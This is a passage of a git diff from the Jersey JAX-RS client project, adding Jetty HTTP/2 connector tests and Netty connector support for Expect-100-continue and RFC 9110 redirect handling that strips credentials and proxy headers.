+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+    /**
+     * Programmatic tracing root resource path.
+     */
+    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+    /**
+     * Annotated class-based tracing root resource path.
+     */
+    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+    @HttpMethod(TRACE.NAME)
+    @Target(ElementType.METHOD)
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface TRACE {
+        public static final String NAME = "TRACE";
+    }
+
+    @Path(ROOT_PATH_ANNOTATED)
+    public static class TracingResource {
+
+        @TRACE
+        @Produces("text/plain")
+        public String trace(Request request) {
+            return stringify((ContainerRequest) request);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TracingResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+            @Override
+            public Response apply(ContainerRequestContext request) {
+                if (request == null) {
+                    return Response.noContent().build();
+                } else {
+                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+                }
+            }
+        });
+
+        return config.registerResources(resourceBuilder.build());
+
+    }
+
+    private String[] expectedFragmentsProgrammatic = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+    };
+    private String[] expectedFragmentsAnnotated = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+    };
+
+    private WebTarget prepareTarget(String path) {
+        final WebTarget target = target();
+        target.register(LoggingFeature.class);
+        return target.path(path);
+    }
+
+    @Test
+    public void testProgrammaticApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsProgrammatic) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testAnnotatedApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsAnnotated) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testTraceWithEntity() throws Exception {
+        _testTraceWithEntity(false, false);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntity() throws Exception {
+        _testTraceWithEntity(true, false);
+    }
+
+    @Test
+    public void testTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(false, true);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(true, true);
+    }
+
+    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+        try {
+            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+            target = target.path(ROOT_PATH_ANNOTATED);
+
+            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+            Response response;
+            if (!isAsync) {
+                response = target.request().method(TRACE.NAME, entity);
+            } else {
+                response = target.request().async().method(TRACE.NAME, entity).get();
+            }
+
+            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+        } catch (Exception e) {
+            // OK
+        }
+    }
+
+    private Client getJettyClient() {
+        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+    }
+
+
+    public static String stringify(ContainerRequest request) {
+        StringBuilder buffer = new StringBuilder();
+
+        printRequestLine(buffer, request);
+        printPrefixedHeaders(buffer, request.getHeaders());
+
+        if (request.hasEntity()) {
+            buffer.append(request.readEntity(String.class)).append("\n");
+        }
+
+        return buffer.toString();
+    }
+
+    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+    }
+
+    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+            List<String> val = e.getValue();
+            String header = e.getKey();
+
+            if (val.size() == 1) {
+                buffer.append(header).append(": ").append(val.get(0)).append("\n");
+            } else {
+                StringBuilder sb = new StringBuilder();
+                boolean add = false;
+                for (String s : val) {
+                    if (add) {
+                        sb.append(',');
+                    }
+                    add = true;
+                    sb.append(s);
+                }
+                buffer.append(header).append(": ").append(sb.toString()).append("\n");
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..29efcba
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.ClientConfig;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+    /**
+     * Verifier of JERSEY-2424 fix.
+     */
+    @Test
+    public void testHttpClientInstanceAccess() {
+        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
+        final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
+        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+        // connector provider's static getHttpClient method above.
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+    }
+
+    @Test
+    public void testGetProvidedClientInstance() {
+        final HttpClient httpClient = new HttpClient();
+        final ClientConfig clientConfig = new ClientConfig()
+                .connectorProvider(new JettyHttp2ConnectorProvider())
+                .register(new JettyHttp2ClientSupplier(httpClient));
+        final Client client = ClientBuilder.newClient(clientConfig);
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
+
+        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+                httpClient, is(hcOnTarget));
+    }
+}
\ No newline at end of file
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java
new file mode 100644
index 0000000..471321f
--- /dev/null
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpVersion;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.internal.ConnectorExtension;
+
+import java.io.IOException;
+import java.net.ProtocolException;
+
+class Expect100ContinueConnectorExtension
+        implements ConnectorExtension<HttpRequest, IOException> {
+    private static final String EXCEPTION_MESSAGE = "Server rejected operation";
+    @Override
+    public void invoke(ClientRequest request, HttpRequest extensionParam) {
+
+        final long length = request.getLengthLong();
+        final RequestEntityProcessing entityProcessing = request.resolveProperty(
+                ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
+
+        final Boolean expectContinueActivated = request.resolveProperty(
+                ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
+        final Long expectContinueSizeThreshold = request.resolveProperty(
+                ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
+                ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
+
+        final boolean allowStreaming = length > expectContinueSizeThreshold
+                || entityProcessing == RequestEntityProcessing.CHUNKED;
+
+        if (extensionParam.protocolVersion().equals(HttpVersion.HTTP_1_0)
+                || !Boolean.TRUE.equals(expectContinueActivated)
+                || !request.hasEntity()
+                || !allowStreaming) {
+            return;
+        }
+        extensionParam.headers().add(HttpHeaderNames.EXPECT, HttpHeaderValues.CONTINUE);
+
+    }
+
+    @Override
+    public void postConnectionProcessing(HttpRequest extensionParam) {
+    }
+
+    @Override
+    public boolean handleException(ClientRequest request, HttpRequest extensionParam, IOException ex) {
+        final Boolean expectContinueActivated = request.resolveProperty(
+                ClientProperties.EXPECT_100_CONTINUE, Boolean.FALSE);
+
+        return expectContinueActivated
+                && (ex instanceof ProtocolException && ex.getMessage().equals(EXCEPTION_MESSAGE));
+    }
+}
\ No newline at end of file
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
index d460867..4a9836d 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java
@@ -20,17 +20,24 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.URI;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
 
-import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
 
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.ClientRequest;
 import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.http.HttpHeaders;
+import org.glassfish.jersey.http.ResponseStatus;
 import org.glassfish.jersey.netty.connector.internal.NettyInputStream;
 import org.glassfish.jersey.netty.connector.internal.RedirectException;
 
@@ -38,13 +45,12 @@
 import io.netty.channel.ChannelHandlerContext;
 import io.netty.channel.SimpleChannelInboundHandler;
 import io.netty.handler.codec.http.HttpContent;
-import io.netty.handler.codec.http.HttpHeaderNames;
 import io.netty.handler.codec.http.HttpObject;
 import io.netty.handler.codec.http.HttpResponse;
-import io.netty.handler.codec.http.HttpResponseStatus;
 import io.netty.handler.codec.http.HttpUtil;
 import io.netty.handler.codec.http.LastHttpContent;
 import io.netty.handler.timeout.IdleStateEvent;
+import org.glassfish.jersey.uri.internal.JerseyUriBuilder;
 
 /**
  * Jersey implementation of Netty channel handler.
@@ -103,17 +109,27 @@
           jerseyResponse = null;
           int responseStatus = cr.getStatus();
           if (followRedirects
-                  && (responseStatus == HttpResponseStatus.MOVED_PERMANENTLY.code()
-                          || responseStatus == HttpResponseStatus.FOUND.code()
-                          || responseStatus == HttpResponseStatus.SEE_OTHER.code()
-                          || responseStatus == HttpResponseStatus.TEMPORARY_REDIRECT.code()
-                          || responseStatus == HttpResponseStatus.PERMANENT_REDIRECT.code())) {
+                  && (responseStatus == ResponseStatus.Redirect3xx.MOVED_PERMANENTLY_301.getStatusCode()
+                          || responseStatus == ResponseStatus.Redirect3xx.FOUND_302.getStatusCode()
+                          || responseStatus == ResponseStatus.Redirect3xx.SEE_OTHER_303.getStatusCode()
+                          || responseStatus == ResponseStatus.Redirect3xx.TEMPORARY_REDIRECT_307.getStatusCode()
+                          || responseStatus == ResponseStatus.Redirect3xx.PERMANENT_REDIRECT_308.getStatusCode())) {
               String location = cr.getHeaderString(HttpHeaders.LOCATION);
               if (location == null || location.isEmpty()) {
                   responseAvailable.completeExceptionally(new RedirectException(LocalizationMessages.REDIRECT_NO_LOCATION()));
               } else {
                   try {
                       URI newUri = URI.create(location);
+                      if (!newUri.isAbsolute()) {
+                          final URI originalUri = jerseyRequest.getUri();
+                          newUri = new JerseyUriBuilder()
+                                  .scheme(originalUri.getScheme())
+                                  .userInfo(originalUri.getUserInfo())
+                                  .host(originalUri.getHost())
+                                  .port(originalUri.getPort())
+                                  .uri(location)
+                                  .build();
+                      }
                       boolean alreadyRequested = !redirectUriHistory.add(newUri);
                       if (alreadyRequested) {
                           // infinite loop detection
@@ -126,6 +142,7 @@
                       } else {
                           ClientRequest newReq = new ClientRequest(jerseyRequest);
                           newReq.setUri(newUri);
+                          restrictRedirectRequest(newReq, cr);
                           connector.execute(newReq, redirectUriHistory, responseAvailable);
                       }
                   } catch (IllegalArgumentException e) {
@@ -165,7 +182,7 @@
             }
 
             // request entity handling.
-            if ((response.headers().contains(HttpHeaderNames.CONTENT_LENGTH) && HttpUtil.getContentLength(response) > 0)
+            if ((response.headers().contains(HttpHeaders.CONTENT_LENGTH) && HttpUtil.getContentLength(response) > 0)
                     || HttpUtil.isTransferEncodingChunked(response)) {
 
                 nis = new NettyInputStream();
@@ -218,4 +235,63 @@
            super.userEventTriggered(ctx, evt);
        }
     }
+
+    /*
+     * RFC 9110 Section 15.4
+     * https://httpwg.org/specs/rfc9110.html#rfc.section.15.4
+     */
+    private void restrictRedirectRequest(ClientRequest newRequest, ClientResponse response) {
+        final MultivaluedMap<String, Object> headers = newRequest.getHeaders();
+        final Boolean keepMethod = newRequest.resolveProperty(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, Boolean.TRUE);
+
+        if (Boolean.FALSE.equals(keepMethod) && newRequest.getMethod().equals(HttpMethod.POST)) {
+            switch (response.getStatus()) {
+                case 301 /* MOVED PERMANENTLY */:
+                case 302 /* FOUND */:
+                    removeContentHeaders(headers);
+                    newRequest.setMethod(HttpMethod.GET);
+                    newRequest.setEntity(null);
+                    break;
+            }
+        }
+
+        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
+            final Map.Entry<String, List<Object>> entry = it.next();
+            if (ProxyHeaders.INSTANCE.test(entry.getKey())) {
+                it.remove();
+            }
+        }
+
+        headers.remove(HttpHeaders.IF_MATCH);
+        headers.remove(HttpHeaders.IF_NONE_MATCH);
+        headers.remove(HttpHeaders.IF_MODIFIED_SINCE);
+        headers.remove(HttpHeaders.IF_UNMODIFIED_SINCE);
+        headers.remove(HttpHeaders.AUTHORIZATION);
+        headers.remove(HttpHeaders.REFERER);
+        headers.remove(HttpHeaders.COOKIE);
+    }
+
+    private void removeContentHeaders(MultivaluedMap<String, Object> headers) {
+        for (final Iterator<Map.Entry<String, List<Object>>> it = headers.entrySet().iterator(); it.hasNext(); ) {
+            final Map.Entry<String, List<Object>> entry = it.next();
+            final String lowName = entry.getKey().toLowerCase(Locale.ROOT);
+            if (lowName.startsWith("content-")) {
+                it.remove();
+            }
+        }
+        headers.remove(HttpHeaders.LAST_MODIFIED);
+        headers.remove(HttpHeaders.TRANSFER_ENCODING);
+    }
+
+    /* package */ static class ProxyHeaders implements Predicate<String> {
+        static final ProxyHeaders INSTANCE = new ProxyHeaders();
+        private static final String HOST = HttpHeaders.HOST.toLowerCase(Locale.ROOT);
+        private static final String FORWARDED = HttpHeaders.FORWARDED.toLowerCase(Locale.ROOT);
+
+        @Override
+        public boolean test(String headerName) {
+            String lowName = headerName.toLowerCase(Locale.ROOT);
+            return lowName.startsWith("proxy-") || lowName.equals(HOST) || lowName.equals(FORWARDED);
+        }
+    }
 }
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
new file mode 100644
index 0000000..8bceac6
--- /dev/null
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.connector;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpUtil;
+import org.glassfish.jersey.client.ClientRequest;
+
+import jakarta.ws.rs.ProcessingException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class JerseyExpectContinueHandler extends ChannelInboundHandlerAdapter {
+
+    private boolean isExpected;
+
+    private static final List<HttpResponseStatus> statusesToBeConsidered = Arrays.asList(HttpResponseStatus.CONTINUE,
+            HttpResponseStatus.UNAUTHORIZED, HttpResponseStatus.EXPECTATION_FAILED,
+            HttpResponseStatus.METHOD_NOT_ALLOWED, HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE);
+
+    private CompletableFuture<HttpResponseStatus> expectedFuture = new CompletableFuture<>();
+
+    @Override
+    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
+        if (isExpected && msg instanceof HttpResponse) {
+            final HttpResponse response = (HttpResponse) msg;
+            if (statusesToBeConsidered.contains(response.status())) {
+                expectedFuture.complete(response.status());
+            }
+            if (!HttpResponseStatus.CONTINUE.equals(response.status())) {
+                ctx.fireChannelRead(msg); //bypass the message to the next handler in line
+            } else {
+                ctx.pipeline().remove(JerseyExpectContinueHandler.class);
+            }
+        } else {
+            if (!isExpected) {
+                ctx.pipeline().remove(JerseyExpectContinueHandler.class);
+            }
+            ctx.fireChannelRead(msg); //bypass the message to the next handler in line
+        }
+    }
+
+    CompletableFuture<HttpResponseStatus> processExpect100ContinueRequest(HttpRequest nettyRequest,
+                                                                          ClientRequest jerseyRequest,
+                                                                          Channel ch,
+                                                                          Integer timeout)
+            throws InterruptedException, ExecutionException, TimeoutException {
+        //check for 100-Continue presence/availability
+        final Expect100ContinueConnectorExtension expect100ContinueExtension
+                = new Expect100ContinueConnectorExtension();
+
+        final DefaultFullHttpRequest nettyRequestHeaders =
+                new DefaultFullHttpRequest(nettyRequest.protocolVersion(), nettyRequest.method(), nettyRequest.uri());
+        nettyRequestHeaders.headers().setAll(nettyRequest.headers());
+
+        if (!nettyRequestHeaders.headers().contains(HttpHeaderNames.HOST)) {
+            nettyRequestHeaders.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost());
+        }
+
+        //If Expect:100-continue feature is enabled and client supports it, the nettyRequestHeaders will be
+        //enriched with the 'Expect:100-continue' header.
+        expect100ContinueExtension.invoke(jerseyRequest, nettyRequestHeaders);
+
+        final ChannelFuture expect100ContinueFuture = (HttpUtil.is100ContinueExpected(nettyRequestHeaders))
+                // Send only head of the HTTP request enriched with Expect:100-continue header.
+                ? ch.writeAndFlush(nettyRequestHeaders)
+                // Expect:100-Continue either is not supported or is turned off
+                : null;
+        isExpected = expect100ContinueFuture != null;
+        if (!isExpected) {
+            ch.pipeline().remove(JerseyExpectContinueHandler.class);
+        } else {
+            final HttpResponseStatus status = expectedFuture
+                    .get(timeout, TimeUnit.MILLISECONDS);
+
+            processExpectationStatus(status);
+        }
+        return expectedFuture;
+    }
+
+    private void processExpectationStatus(HttpResponseStatus status)
+            throws TimeoutException {
+        if (!statusesToBeConsidered.contains(status)) {
+            throw new ProcessingException(LocalizationMessages
+                    .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null);
+        }
+        if (!expectedFuture.isDone() || HttpResponseStatus.EXPECTATION_FAILED.equals(status)) {
+            isExpected = false;
+            throw new TimeoutException(); // continue without expectations
+        }
+        if (!HttpResponseStatus.CONTINUE.equals(status)) {
+            throw new ProcessingException(LocalizationMessages
+                    .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null);
+        }
+    }
+
+    boolean isExpected() {
+        return isExpected;
+    }
+}
\ No newline at end of file
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
index 671b08f..9c79d12 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,11 +28,32 @@
 
     /**
      * <p>
-     *    This property determines the maximum number of idle connections that will be simultaneously kept alive
-     *    in total, rather than per destination. The default is 60. Specify 0 to disable.
+     *     Sets the endpoint identification algorithm to HTTPS.
      * </p>
+     * <p>
+     *     The default value is {@code true} (for HTTPS uri scheme).
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     * @since 2.35
+     * @see javax.net.ssl.SSLParameters#setEndpointIdentificationAlgorithm(String)
      */
-    public static final String MAX_CONNECTIONS_TOTAL = "jersey.config.client.maxTotalConnections";
+    public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = "jersey.config.client.tls.enableHostnameVerification";
+
+    /**
+     * <p>
+     *     Filter the HTTP headers for requests (CONNECT) towards the proxy except for PROXY-prefixed and HOST headers when {@code true}.
+     * </p>
+     * <p>
+     *     The default value is {@code true} and the headers are filtered out.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     * @since 2.41
+     */
+    public static final String FILTER_HEADERS_FOR_PROXY = "jersey.config.client.filter.headers.proxy";
 
     /**
      * <p>
@@ -56,23 +77,16 @@
 
     /**
      * <p>
-     *     Sets the endpoint identification algorithm to HTTPS.
+     *    This property determines the maximum number of idle connections that will be simultaneously kept alive
+     *    in total, rather than per destination. The default is 60. Specify 0 to disable.
      * </p>
-     * <p>
-     *     The default value is {@code true} (for HTTPS uri scheme).
-     * </p>
-     * <p>
-     *     The name of the configuration property is <tt>{@value}</tt>.
-     * </p>
-     * @since 2.35
-     * @see javax.net.ssl.SSLParameters#setEndpointIdentificationAlgorithm(String)
      */
-    public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = "jersey.config.client.tls.enableHostnameVerification";
+    public static final String MAX_CONNECTIONS_TOTAL = "jersey.config.client.maxTotalConnections";
 
     /**
      * The maximal number of redirects during single request.
      * <p/>
-     * Value is expected to be positive {@link Integer}. Default value is {@value #DEFAULT_MAX_REDIRECTS}.
+     * Value is expected to be positive {@link Integer}. Default value is 5.
      * <p/>
      * HTTP redirection must be enabled by property {@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS},
      * otherwise {@code MAX_REDIRECTS} is not applied.
@@ -82,4 +96,37 @@
      * @see org.glassfish.jersey.netty.connector.internal.RedirectException
      */
     public static final String MAX_REDIRECTS = "jersey.config.client.NettyConnectorProvider.maxRedirects";
+
+    /**
+     * <p>
+     *     Sets the HTTP POST method to be preserved on HTTP status 301 (MOVED PERMANENTLY) or status 302 (FOUND) when {@code true}
+     *     or redirected as GET when {@code false}.
+     * </p>
+     * <p>
+     *     The default value is {@code true} and the HTTP POST request is not redirected as GET.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     * @since 2.41
+     */
+    public static final String PRESERVE_METHOD_ON_REDIRECT = "jersey.config.client.redirect.preserve.method";
+
+
+    /**
+     * This timeout is used for waiting for 100-Continue response when 100-Continue is sent by the client.
+     *
+     * @since 2.41
+     */
+    public static final String
+            EXPECT_100_CONTINUE_TIMEOUT = "jersey.config.client.request.expect.100.continue.timeout";
+
+    /**
+     * The default value of EXPECT_100_CONTINUE_TIMEOUT.
+     *
+     * @since 2.41
+     */
+    public static final Integer
+            DEFAULT_EXPECT_100_CONTINUE_TIMEOUT_VALUE = 500;
+
 }
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
index 4b4f16f..ede8c36 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java
@@ -31,13 +31,16 @@
 import java.util.Set;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Supplier;
 
-import javax.net.ssl.SSLEngine;
-import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLContext;
 
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
@@ -123,6 +126,7 @@
